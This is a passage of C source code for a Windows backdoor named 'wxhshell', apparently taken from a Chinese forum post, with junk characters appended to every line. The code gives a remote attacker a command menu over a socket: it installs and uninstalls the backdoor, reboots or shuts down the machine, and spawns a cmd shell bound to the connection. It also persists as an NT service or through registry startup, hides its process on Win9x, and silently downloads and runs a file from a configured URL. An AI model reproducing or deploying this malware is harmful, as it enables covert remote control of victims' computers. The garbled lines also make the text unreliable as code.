  // 帮助 %om7h$D =`  
  case '?': { vJCL m/}*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IRU2/Ycg  
    break; |M?HdxPa  
  } AO]lXa  
  // 安装 r{TNPa6!  
  case 'i': { i4pJIb  
    if(Install()) ?oJ~3K g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MMAC,4  
    else sy`s$E d!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b5|p#&YK~  
    break; y?JbJ  
    } :I $2[K  
  // 卸载 AFFLnLA<L  
  case 'r': { 64vSJx>u  
    if(Uninstall()) bn`zI~WS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e||_j  
    else wtUG2 (  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cR&xl^BJ  
    break; OKqpc;y:D  
    } :acQK=fe  
  // 显示 wxhshell 所在路径 sZH7 EK  
  case 'p': { G8s`<:9*  
    char svExeFile[MAX_PATH]; 9y4rw]4zI  
    strcpy(svExeFile,"\n\r"); 8bGq"!w-  
      strcat(svExeFile,ExeFile); H_j<%VW  
        send(wsh,svExeFile,strlen(svExeFile),0); ^%d{i'9?  
    break; @ 7?_Yw  
    } ~ YK <T+  
  // 重启 zEB1Br,  
  case 'b': { K_5&_P1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W.|6$hRl)  
    if(Boot(REBOOT)) gJ&!w8v.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !{Y#<tG]  
    else { c-.>C)  
    closesocket(wsh); 3CE8+PnT  
    ExitThread(0); kpH;D=;  
    } $dP)8_Z2  
    break; pPZ/O 6  
    } [hL1 PWKs  
  // 关机 $5b|@  
  case 'd': { 32iI :u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .=yus[,~  
    if(Boot(SHUTDOWN)) m-89nOls  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &-fx=gq=  
    else { ]M(mq`K  
    closesocket(wsh); \.c )^QQ  
    ExitThread(0); F}]_/cY7B  
    } !XG&=Rd?  
    break; |y% ].y)  
    } O->eg  
  // 获取shell X~he36-+<  
  case 's': { dz|*n'd  
    CmdShell(wsh); ~(j'a!#Vvk  
    closesocket(wsh); = Y-Ne6a  
    ExitThread(0); ZZU8B?)  
    break; } +4Bf+u:  
  } b 0b9#9x  
  // 退出 ;q; C ^l  
  case 'x': { L~{Vt~H9"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 66<\i ltUQ  
    CloseIt(wsh); r ` &|)Hx  
    break; \( <{)GpBi  
    } pPqN[OJ  
  // 离开 7J;~ &x  
  case 'q': { <cv1$ x ~P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g&3#22z  
    closesocket(wsh); b8Rh|"J)d  
    WSACleanup(); &}0wzcMg  
    exit(1); RLz`aBT  
    break; (oitCIV  
        } U|7Qw|I7  
  } rm=~^eB  
  } r!$NZ2I  
X$ B]P 7G7  
  // 提示信息 O*03PF^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @zynqh  
} !mxh]x<e  
  } @B'8SLoP  
:aq>  
  return; Ui |a}`c  
} ?4>y2!OC9  
^T&u!{82j  
// shell模块句柄 c =N]! ,MO  
int CmdShell(SOCKET sock) X;6r $   
{ V2s}<uG  
STARTUPINFO si; W B*`zCM  
ZeroMemory(&si,sizeof(si)); cF&h$4-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <`xRqe:&9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gLaO#cQ%  
PROCESS_INFORMATION ProcessInfo; ZC5Yve8  
char cmdline[]="cmd"; |/\U^AHm"h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mrhp)yF  
  return 0; 380->  
} 9j?hF$L"  
`,-hG  
// 自身启动模式  6I cM:x  
int StartFromService(void) ^[seK)S=  
{ o;VkoYV  
typedef struct ~6:LUM  
{ Vr-3M+l=O  
  DWORD ExitStatus; PF'5z#] NP  
  DWORD PebBaseAddress; K_&c5(-(_  
  DWORD AffinityMask; \buZ?  
  DWORD BasePriority; EK8E  
  ULONG UniqueProcessId; 2[LX\  
  ULONG InheritedFromUniqueProcessId; |.8d,!5w}  
}   PROCESS_BASIC_INFORMATION; (]}x[F9l  
Y-%l7GErhL  
PROCNTQSIP NtQueryInformationProcess; V8nz-DL{  
/+4^.Q*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D0#T-B\#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  UL)"  
!qTpQ5Dm  
  HANDLE             hProcess; 17 i<4f#  
  PROCESS_BASIC_INFORMATION pbi; tIxhSI^  
co<2e#p;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?v"K1C1.  
  if(NULL == hInst ) return 0; # Z|%0r_~  
aT?p>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rysP)e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Iuu<2#gb8"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *#Lsjk~_-  
_@#uIOcE  
  if (!NtQueryInformationProcess) return 0; ReI=4Jq11  
]^*_F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;!l*7}5X=  
  if(!hProcess) return 0; DMAf^.,S  
yN9$gfJC^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u#41osUVW>  
K2x6R  
  CloseHandle(hProcess); ]k'#g Z$  
&TP:yA[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u8-a-k5<  
if(hProcess==NULL) return 0; J ?ztn  
_=|nOj39  
HMODULE hMod; u Q[vgNe*m  
char procName[255]; <CZI7]PM7  
unsigned long cbNeeded; MekT?KPQ{L  
C<[d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MB ]#%g&  
+={  
  CloseHandle(hProcess); TJHN/Z/  
n9]IBIthe  
if(strstr(procName,"services")) return 1; // 以服务启动 z>cIiprX  
]regi- LGU  
  return 0; // 注册表启动 p!HPp Ef+#  
} v2/yw,  
TpJg-F  
// 主模块 &u+yM D  
int StartWxhshell(LPSTR lpCmdLine) =d go!k  
{ u iBl#J Q  
  SOCKET wsl; 6uu^A9x  
BOOL val=TRUE; X|X4L(i  
  int port=0; \p5|}<Sr)  
  struct sockaddr_in door; nGq]$h  
:d;[DYFLxb  
  if(wscfg.ws_autoins) Install(); jMN)?6$=  
mSU@UD|'  
port=atoi(lpCmdLine); w+t#Yb\7  
W*YxBn4  
if(port<=0) port=wscfg.ws_port; 8h*t55  
*-?Wcz  
  WSADATA data; yOX&cZ[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tRLE,(S,-  
ctp?y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4cott^K.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }TSgAwsbC  
  door.sin_family = AF_INET; MQwIPjk8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j'3j}G%\T  
  door.sin_port = htons(port); ]kRI}Om2  
znt)]>f#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A/!<kp{S  
closesocket(wsl); n%F-cw  
return 1; p={Jf}v  
} 2$M,*Dnr  
yC W*fIaq  
  if(listen(wsl,2) == INVALID_SOCKET) { wAw42{M  
closesocket(wsl); ypH8QfxLTr  
return 1; e,EK,,iY5  
} 34z_+  
  Wxhshell(wsl); ar Q)%W  
  WSACleanup(); IrJ+Jov  
BU!#z(vU  
return 0; 27m@|M] R  
RoX &+~  
} gc##V]OD  
auRY|j  
// 以NT服务方式启动 >W r$Y{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a.?v*U@z@#  
{ )Nbc/nB$  
DWORD   status = 0; )u0O_R  
  DWORD   specificError = 0xfffffff; W@^J6sH  
f27)v(EJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zDB" r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fuMN"T 6%+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Axlm<3<wf"  
  serviceStatus.dwWin32ExitCode     = 0; q]TqI' o  
  serviceStatus.dwServiceSpecificExitCode = 0; dByjcTPA  
  serviceStatus.dwCheckPoint       = 0; J_PH7Z*=,  
  serviceStatus.dwWaitHint       = 0; Cc!J1)  
*<IR9.~{6%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sm   
  if (hServiceStatusHandle==0) return; ]KWK}Zyi  
?KB@Zm+#~  
status = GetLastError(); G=|70pxU  
  if (status!=NO_ERROR) !{(ls<  
{ qp>N^)>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7Lg7ei2mN7  
    serviceStatus.dwCheckPoint       = 0; GF'f[F6oI  
    serviceStatus.dwWaitHint       = 0; TGf;_)El  
    serviceStatus.dwWin32ExitCode     = status; - IU4#s  
    serviceStatus.dwServiceSpecificExitCode = specificError; ($62o&I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RDJ+QOVKg  
    return; F+uk AT  
  } :3^dF}>  
|gv{z"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; & fu z2xv  
  serviceStatus.dwCheckPoint       = 0; >F[GVmC  
  serviceStatus.dwWaitHint       = 0; =u=Kw R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O9^T3~x[V  
} BSgTde|3y  
3+(z_!Qh  
// 处理NT服务事件,比如:启动、停止 OxQYNi2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J\=a gQ  
{ mj2Pk,,SA  
switch(fdwControl) d>|;f  
{ ^=+e?F`:{  
case SERVICE_CONTROL_STOP: ]-:6T0JuS  
  serviceStatus.dwWin32ExitCode = 0; ^m%52Tm h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O~PChUU*Y  
  serviceStatus.dwCheckPoint   = 0; *5D3vB*S  
  serviceStatus.dwWaitHint     = 0; xS8,W  
  { V_"f|[1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }pawIf4V  
  } zkexei4^<  
  return; rF] +,4  
case SERVICE_CONTROL_PAUSE:  3-|3`(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 68e[:wf  
  break; P!e=b-T  
case SERVICE_CONTROL_CONTINUE: P :k+ y$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %e? fH.)  
  break; {C")#m-0  
case SERVICE_CONTROL_INTERROGATE: .Djta|puu  
  break; x[i`S8D  
}; +,5-qm)Gh>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #xT!E:W '  
} g"K>5Cb  
gU;&$  
// 标准应用程序主函数 U|5-0u5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b>11h  
{ 8-M e.2K  
JOD/Raq.1k  
// 获取操作系统版本 Vn|1v4U!  
OsIsNt=GetOsVer(); QlEd6^&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); , ZFE(  
i9A~<  
  // 从命令行安装 Y; ) .+si  
  if(strpbrk(lpCmdLine,"iI")) Install(); +L%IG  
%J~WC$=Qv  
  // 下载执行文件 qCPmbg  
if(wscfg.ws_downexe) { :50b8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t ls60h  
  WinExec(wscfg.ws_filenam,SW_HIDE); L{&U V0q!  
} N#ioJ^}n:  
9Q.#\  
if(!OsIsNt) { rwf^,r"r  
// 如果时win9x,隐藏进程并且设置为注册表启动 _[h8P9YI4  
HideProc(); =,V|OfW  
StartWxhshell(lpCmdLine); Um.qRZ?  
} @xAfZb2E  
else w_wslN,)  
  if(StartFromService()) 1AD]v<M  
  // 以服务方式启动 y2|R.EU\m<  
  StartServiceCtrlDispatcher(DispatchTable); ?cy4&]s  
else wvby?MhPY  
  // 普通方式启动 >BVoHt~;  
  StartWxhshell(lpCmdLine); 3V<&|  
)> a B  
return 0; 1;F`c`0<  
}
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只看该作者 1 发表于: 2006-10-10
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